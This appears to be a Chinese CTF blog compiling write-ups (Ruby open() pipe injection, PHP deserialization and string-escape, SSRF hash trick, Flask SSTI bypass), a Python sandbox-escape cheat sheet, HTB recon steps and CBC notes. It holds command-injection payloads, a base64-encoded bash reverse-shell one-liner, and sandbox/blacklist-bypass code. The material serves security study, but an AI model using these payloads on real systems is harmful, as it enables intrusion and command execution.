0%

[第五空间 2021]PNG图片转换器

有源码,ruby写的,不是常见的语言首先联想cve,先看源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
require 'sinatra'
require 'digest'
require 'base64'

get '/' do
open("./view/index.html", 'r').read()
end

get '/upload' do
open("./view/upload.html", 'r').read()
end

post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end

end

get '/convert' do
open("./view/convert.html", 'r').read()
end

post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end

file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end

做了两个功能点,upload和convert。审计下来限制的很死,唯一利用点就是open这比较可疑,考虑cve,ruby结合open果然有cve。

参考CVE-2017-17405

https://github.com/Threekiii/Vulnerability-Wiki/blob/master/docs-base/docs/middleware/Ruby-NetFTP-%E6%A8%A1%E5%9D%97%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E-CVE-2017-17405.md

原理:

Ruby-Net::FTP 模块是一个FTP客户端,上传文件过程中使用了open函数。open函数在ruby中是借用系统命令来打开文件,意味着如果没有做过滤,我们能利用这个点来执行命令。

payload:

如果+path+以一个管道字符(|)开头,就会创建一个子进程,通过一对管道连接到调用者。 返回的IO对象可用于向该子进程的标准输入写入和从标准输出读取。

1
2
3
file=|bash -c env #.png
file=|`echo ZW52|base64 -d` > e7e7eed2fbf6094265aebdf5344bfb8c.png
file=|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'

[网鼎杯 2018]Fakebook 1

进去没找到什么利用点,dirsearch扫描,有robots.txt 访问得到user.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

[网鼎杯 2020 朱雀组]phpweb 1

进去就是一张贴脸大图 随便抓包看到参数 随便输发现 call_user_fun这个超明显的php函数

image-20250608193444974

首先使用file_get_contents结合伪协议读取源码

(读源码不止一个方法 还有fun=highlight_file&p=index.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

这里有两个方法:

方法1:unserilize反序列化

__destruc__魔术方法当类被销毁会自动触发

1
2
3
4
5
6
7
8
<?php
class Test {
var $p = "find / -name flag*";
var $func = "system";
}
$a = new Test;
echo serialize($a);
?>

image-20250609130147665

看到可疑路径 /tmp/flagoefiu4r93

1
2
3
4
5
6
7
8
<?php
class Test {
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
}
$a = new Test;
echo serialize($a);
?>

得道flag

方法2:命名空间方法

原理

在php中,函数加上\号不会影响函数本身,因为in_array函数过滤不够严谨,所以我们可以利用加上\号来绕过。

func=\system&p=find / -name fllag*

image-20250609131040803

然后正常执行命令就行

[安洵杯 2019]easy_serialize_php 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION)); //得到序列化的数据

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info); //反序列化
echo file_get_contents(base64_decode($userinfo['img'])); //取出序列化数据中的base64_encode过后的img先进行decode再进行读取文件内容
}
//所以是$_SESSION序列化后被filter函数处理,再反序列化赋给userinfo,最后取出img这个键对应的值

代码理解

理解代码在干什么很重要,审计代码的能力很重要。

这段php代码首先定义了一个名为filter函数,它会把传入的变量的值如果在它定义的数组里,就会把符合条件的字符串替换为空。

然后使用了变量覆盖里常用的函数extract来使我们$_SESSION["user"]$_SESSION['function']通过POST可控。

然后if判断是否传入img_path,没传入就是设置为guest_image.png,传入的话就会使用一个不可逆的sha1算法,所以我们肯定不考虑这个。

下一步是定义变量serialize_info为经过filter函数操作后的序列化后的数据。

再下来是if选择function功能 highlight_file是查看源码,phpinfo是查看phpinfo,show_image是做了一个反序列化操作,并且使用了一个敏感函数,file_get_contens。

题目做法:反序列化字符逃逸一共有两种方法:一个是键值逃逸,另一个是键名逃逸

flag路径在phpinfo功能点就能看到 为/d0g3_fllllllag

方法1:键值逃逸

代码审计完了,有反序列化又有替换的操作,很容易联想到字符串逃逸。这里只有user和function可控。为了好理解我们先看序列化后的数据长什么样子。

1
2
3
4
5
6
7
<?php
$_SESSION["user"] = '*';
$_SESSION['function'] = '**';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>
//a:3:{s:4:"user";s:2:"aa";s:8:"function";s:2:"bb";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

因为要让guest_img.png逃逸出去,所以我们应该修改user,让user经过字符串替换,function这个变量及其值成为user的值,img变量变为我们想要的值哦。

function应该为值为;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

fileter处理前:

a:3:{s:4:”user”;s:22:”phpphpphpflagphpphpphp”;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}

1
2
3
4
5
6
<?php
$_SESSION["user"] = 'phpphpphpflagphpphpphp';
$_SESSION['function'] = ';s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>

filter处理后:

a:3:{s:4:”user”;s:22:””;s:8:”function”;s:56:”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}

于是function的值为img为L2QwZzNfZmxsbGxsbGFn,后面那一串就成功修改img值为flag的路径。

image-20250609170114970

方法2:键名逃逸

1
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

过滤前 a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 过滤后 a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 下面的步骤和值替换一样 这里的键名变为";s:48: 实现了逃逸

payload:_SESSION[flagphp]=;s:1:”1”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

[De1CTF 2019]SSRF Me 1

进去贴脸源码,python代码审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python
# encoding=utf-8

from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox): # SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500

if self.checkSign():
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print (resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200

if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"

return result

def checkSign(self):
return getSign(self.action, self.param) == self.sign


# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr

if waf(param):
return "No Hacker!!!!"

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt", "r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)
1
2
3
4
三个路由:
/ 查看源代码
/geneSign 生成签名
/De1ta 关键路由 可以进行读取文件

解题思路

(除了这个方法还可以使用hash拓展攻击)

密钥是不变的。而action定死为scan了 可变的只有中间的param

那么md5(密钥+flag.txtread+scan)等于md5(密钥+flag.txt+readscan)

image-20250609220834647

这步的cookie请自己添加

image-20250609220743588

image-20250609220754685

[GYCTF2020]FlaskApp

进去是base64解密和加密功能 看到flask先条件反射ssti 输入49得到编码 输入解码器得到回显

image-20250610134342160

继续测试 e3tjb25maWd9fQ== 得到回显 被HTML 实体转义 丢给ai恢复下就ok

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<Config {
'ENV': 'production',
'DEBUG': True,
'TESTING': False,
'PROPAGATE_EXCEPTIONS': None,
'PRESERVE_CONTEXT_ON_EXCEPTION': None,
'SECRET_KEY': 's_e_c_r_e_t_k_e_y',
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31),
'USE_X_SENDFILE': False,
'SERVER_NAME': None,
'APPLICATION_ROOT': '/',
'SESSION_COOKIE_NAME': 'session',
'SESSION_COOKIE_DOMAIN': False,
'SESSION_COOKIE_PATH': None,
'SESSION_COOKIE_HTTPONLY': True,
'SESSION_COOKIE_SECURE': False,
'SESSION_COOKIE_SAMESITE': None,
'SESSION_REFRESH_EACH_REQUEST': True,
'MAX_CONTENT_LENGTH': None,
'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200),
'TRAP_BAD_REQUEST_ERRORS': None,
'TRAP_HTTP_EXCEPTIONS': False,
'EXPLAIN_TEMPLATE_LOADING': False,
'PREFERRED_URL_SCHEME': 'http',
'JSON_AS_ASCII': True,
'JSON_SORT_KEYS': True,
'JSONIFY_PRETTYPRINT_REGULAR': False,
'JSONIFY_MIMETYPE': 'application/json',
'TEMPLATES_AUTO_RELOAD': None,
'MAX_COOKIE_SIZE': 4093,
'BOOTSTRAP_USE_MINIFIED': True,
'BOOTSTRAP_CDN_FORCE_SSL': False,
'BOOTSTRAP_QUERYSTRING_REVVING': True,
'BOOTSTRAP_SERVE_LOCAL': False,
'BOOTSTRAP_LOCAL_SUBDOMAIN': None
}>

成功SSTI 正常打ssti就好

黑名单 ['import','os','popen','eval','*','?']

payload:{{((lipsum.__globals__.__builtins__['__i''mport__']('o''s'))['p''open']("\x63\x61\x74\x20\x2f\x2a")).read()}}

前言

Q1:什么是沙箱?

沙箱是一种安全机制,在限制的环境中运行不受信任的代码。python中沙箱主要用于限制python,防止执行命令或者进行一些危险的行为。

Q2:什么是沙箱绕过?

就是怎么绕过沙箱对我们的限制,拿到危险函数,最终来执行命令的过程。

目的

对于python沙箱绕过,我们最终可能要实现的想法有如下:

·绕过限制 执行命令

·写文件到指定位置

绕过方式

import方式的绕过

  1. import xxx
  2. from xxx import *
  3. __import__('xxx')

使用其他的方式来导入包名

1
2
3
4
5
6
7
8
9
10
__import__('os').__dict__["system"]('whoami')
#python2 and python3

__import__(''.decode.('base64')).getoutput('pwd')
#python2

import importlib
x = importlib.import_module('pbzznaqf'.encode('rot_13')) #commands
print (x.getoutput('pwd'))
#python2

模块路径方式的绕过

python中所有的包都是以.py文件形式存在的,使用所有的包都是由绝对路径,我们可以是使用路径来达到引入包的目的。

一般和系统相关的信息都在sys下,使用sys.path可以查看到各个包的路径。

1
2
3
4
5
6
7
8
import sys

print(sys.path)

#sys下还有一个modules,返回一个字典,可以查看各个模块对应的系统路径。
print(sys.modules['os'])

#python2 and python3

如果把sys、os、reload一系列模块禁止了,使用模块对应路径来导入模块 前提是必须知道绝对路径 一般是默认路径不会改变

1
2
execfile('/usr/lib/python.2.7/os.py')
#python2
1
2
3
4
with open('/usr/lib/python3.6/os.py','r') as f: #路径通过上面的sys方法来找
exec(f.read())
system('ls')
#python2 and python3

timieit

1
2
3
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
#p2 and p3

builtins函数

1
2
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BaseExceptionGroup', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception', 'ExceptionGroup', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'aiter', 'all', 'anext', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
1
2
3
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('whoami')#但是这个只能python2使用
#==
__builtins__.__dict__['__import__']('os').system('whoami')#p2 and p3

exec and eval

1
2
eval('__import__("os").system("dir")')
eval('__import__("os").system("cat flag")')

platform

1
2
3
import platform
print (platform.popen('dir').read())
#python2

dir __dict__

1
2
3
4
5
6
class A():
def __init__(self):
self.a = 'a'
print (dir(A))

print (A.__dict__)
1
2
import sys
print (dir(sys.modules[__name__]))

func_code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def f(x,y,z):
a = 'secret'
b = 2333
print (f.func_code.co_argcount)
print (f.func_code.co_consts)
print (f.func_code.co_code)
#p2

def f(x,y,z):
a = 'secret'
b = 2333
print(f.__code__.co_argcount)
print(f.__code__.co_consts)
print(f.__code__.co_code)
#p3
1
2
3
4
5
import dis
def f(x,y,z):
a = 'secret'
b = 2333
print (dis.dis(f))

object类基础函数

其实就是SSTI 这里不多写

花式处理字符串

编码

open(chr(102)+chr(108)+chr(97)+chr(103)).read()

__builtins__.__dict__['__import__']('os').system('whoami')#p2 and p

1
__loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,",' 

初学栈帧逃逸

栈帧介绍

在 Python 中,栈帧(Stack Frame) 是函数调用时在内存中分配的一个数据结构,用于存储函数的运行信息(如局部变量、参数、返回地址等)。它是 Python 解释器管理函数调用和执行流程的核心机制之一,尤其在递归、异常处理和调试时非常重要。

栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。

栈帧运作原理

1
2
3
4
5
6
7
8
9
def foo(a, b):
c = a + b
bar(c)

def bar(x):
y = x * 2
print(y)

foo(3, 4)

栈帧变化:

1.调用 foo(3, 4):

创建 foo 函数的栈帧,压入调用栈。
foo 函数的局部变量表包含 a=3, b=4。

2.执行 c = a + b:

在 foo 的操作数栈上计算 a + b,将结果 7 存储在局部变量 c 中。

3.调用 bar(c):

创建 bar 函数的栈帧,压入调用栈。
bar 函数的局部变量表包含 x=7。

4.执行 y = x * 2:

在 bar 的操作数栈上计算 x * 2,将结果 14 存储在局部变量 y 中。

5.执行 print(y):

打印 y 的值 14。

6.bar 函数结束:

从调用栈中弹出 bar 的栈帧,释放其内存。

7.foo 函数结束:

从调用栈中弹出 foo 的栈帧,释放其内存。

栈帧属性方法介绍:

1
2
3
4
5
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

生成器介绍

生成器(Generator)是Python中一种特殊的迭代器,它可以在迭代过程中动态生成值,而不需要一次性将所有值存储在内存中。

其实生成器就是一种特殊的函数,一边运行一边生成值。

[普通函数]

1
2
3
def get_list():
return [1, 2, 3]
result = get_list() # 一次性返回整个列表 [1, 2, 3]

[生成器]

这种特殊的函数每次只“产出”一个值(yield),运行完一个再接着运行下一个,而不是一下子把所有结果返回。优点不言而喻,节省内存空间。

生成器使用yield语句来产生值,每次调用生成器的next()方法时,生成器会执行直到遇到下一个yield语句为止,然后返回yield语句后面的值

1
2
3
4
5
6
7
8
9
def get_gen():
yield 1
yield 2
yield 3

gen = get_gen() # 不会立即执行,只是创建生成器对象
print(next(gen)) # 输出 1
print(next(gen)) # 输出 2
print(next(gen)) # 输出 3

生成器属性

1
2
3
4
5
gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

生成器表达式

使用类似列表推导式的语法,但使用圆括号而不是方括号,可以用来创建生成器对象。生成器表达式会逐个生成值,而不是一次性生成整个序列,这样可以节省内存空间,特别是在处理大型数据集时非常有用(依然符合每次生成值后保留当前的状态,以便下次调用时可以继续生成值)。

1
2
3
gen = (x * x for x in range(5))
print(list(gen)) # 输出 [0, 1, 4, 9, 16]

和栈帧的结合

接下来我给你看一个脚本 你就知道为什么我要介绍生成器这个东西了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def my_generator():
yield 1
yield 2
yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

这个脚本并不难以理解,首先是定义一个生成器,然后我们调用生成器并且使用gi_frame获取了当前生成器栈帧,然后我们又访问栈帧对象的几个属性:

f_locals是查看栈帧的存储的局部变量名,f_globals是查看全局变量名,f_code是查看函数或方法的字节码指令、常量、变量名等信息,f_lasti是查看最后执行的字节码指令的索引。

也许这些话语又变得很抽象,但是运行出来的结果将会很清晰的展示获取到的生成器的帧信息:

1
2
3
4
5
6
7
Local Variables: {}

Global Variables: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x0000024A3485C260>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\pycharm\\PythonProject\\12121212.py', '__cached__': None, 'my_generator': <function my_generator at 0x0000024A346EA2A0>, 'gen': <generator object my_generator at 0x0000024A64CB1380>, 'frame': <frame at 0x0000024A347E4E00, file 'D:\\pycharm\\PythonProject\\12121212.py', line 1, code my_generator>}

Code Object: <code object my_generator at 0x0000024A349F1200, file "D:\pycharm\PythonProject\12121212.py", line 1>

Instruction Pointer: 0

利用栈帧逃逸沙箱

栈帧(stack frame)是函数调用时用来存储局部变量、返回地址等的一段内存空间。如果你能“逃逸”出这个栈帧的控制范围,你就能访问修改不该访问的内存(比如沙箱外的数据或指令),这就叫栈帧逃逸

原理是:是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals符号表,例如:

frame0 (f 内部) –> frame1 (waff 函数) –> frame2 (exec 所在作用域)

下面脚本就是通过栈帧一步一步拿到全局变量s3cret但是不直接引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
s3cret="this is flag"

codes='''
def waff():
def f():
yield g.gi_frame.f_back

g = f() #生成器
frame = next(g) #获取到生成器的栈帧对象
print(frame)
print(frame.f_back)
print(frame.f_back.f_back)
b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])

过滤绕过

list send 生成器表达式绕过

yield过滤也可以用生成器表达式进行绕过

globals中的__builtins__字段

代码这么设计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
key = "this is flag"
codes='''
def waff():
def f():
yield g.gi_frame.f_back
g = f() #生成器
frame = next(g) #获取到生成器的栈帧对象
b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals={"__builtins__": None}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])

这里将沙箱中的__builtins__置为空,也就是说沙箱中不能调用内置方法了,那我们这段代码运行就会报错了(next方法不能使用),那么该如何代替next方法来拿到生成器的值,还记得上面说可以遍历的形式来获取生成器的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
key = "this is flag"
codes='''
def waff():
def f():
yield g.gi_frame.f_back
g = f() #生成器
frame = [i for i in g][0] #获取到生成器的栈帧对象
b = frame.f_back.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals={"__builtins__": None}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])

信息收集

开放端口

nmap 10.10.11.46 -sV -A 得到 开放了22 80 端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap 10.10.11.46 -sV -A
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-05 04:26 EDT
Nmap scan report for heal.htb (10.10.11.46)
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Heal
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 260.48 ms 10.10.14.1
2 198.07 ms heal.htb (10.10.11.46)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.43 seconds

添加到Hosts

echo “10.10.11.46 heal.htb” | sudo tee -a /etc/hosts

访问hrrp://10.10.11.46即可

扫描子域名

ffuf -w /usr/share/dnsrecon/dnsrecon/data/subdomains-top1mil-20000.txt -u http://heal.htb/ -H “Host:FUZZ.heal.htb” -fc 301

扫描到api.heal.htb (记得也要添加到hosts里面哦~

访问得到 看网站标签是ruby 暂时没用

image-20250505164357452

访问heal.htb

进去是登录框和注册 先注册 这里注册别随意注册 不然会报错 最后找个外国人注册的格式(还挺仿真

1
2
3
4
Full Name: Ethan Williams
Email: ethan.williams24@mailservice.com
Username: ethanw24
Password: sunny2024

image-20250505170108355

可以发现三个路由分别是 /resume /survey /profile

在profile发现自己的ID不是1 并且直接说我不是admin

在survey发现跳转http://take-survey.heal.htb 无法访问 添加到hosts

image-20250505171245061

http://take-survey.heal.htb/index.php/ 发现帐号 Administrator (ralph@heal.htb )

扫描 dirsearch -u “http://take-survey.heal.htb/index.php/“ -i 200 (因为这里503太多了影响看

渗透靶机

首先是最初的heal.htb有导出pdf功能 抓包发现有一个donwload路由

CBC加密和解密过程

f215609f354300598724de6ef2aeb364

加密过程

CBC加密流程:

  1. 准备

    • 将明文按固定长度(通常是块大小,比如AES是128位)分块
    • 如果最后一块不足长度,需要填充(padding)
    • 选一个初始化向量(IV),它的长度跟分块大小相同。
  2. 加密每一块(第 i 块)

    • 第1步:用当前明文块 PiP_iPi 和前一块密文(或IV)做异或(XOR)

      • 第一个块是
        $$
        C_0=Ek(P0⊕IV)
        $$
    • 第2步:将异或后的结果送入加密算法(E_k)(比如AES)加密,得到当前块的密文 Ci。

    • 第3步:当前的密文块 CiC_iCi 会作为下一块明文的XOR对象。

  3. 循环处理每一块,直到全部加密完成。

解密过程

1
解密过程刚好相反,第一组密文在解密之后与初始向量IV异或得到第一组明文。第二组密文解密之后和第一组密文异或得到第二组明文。也就是说,解密一组明文需要本组和前一组的密文。

特点

加密算法的输入是上一个密文分组和下一个明文分组的异或

EXB模式和CBC模式

image-20250426204537824

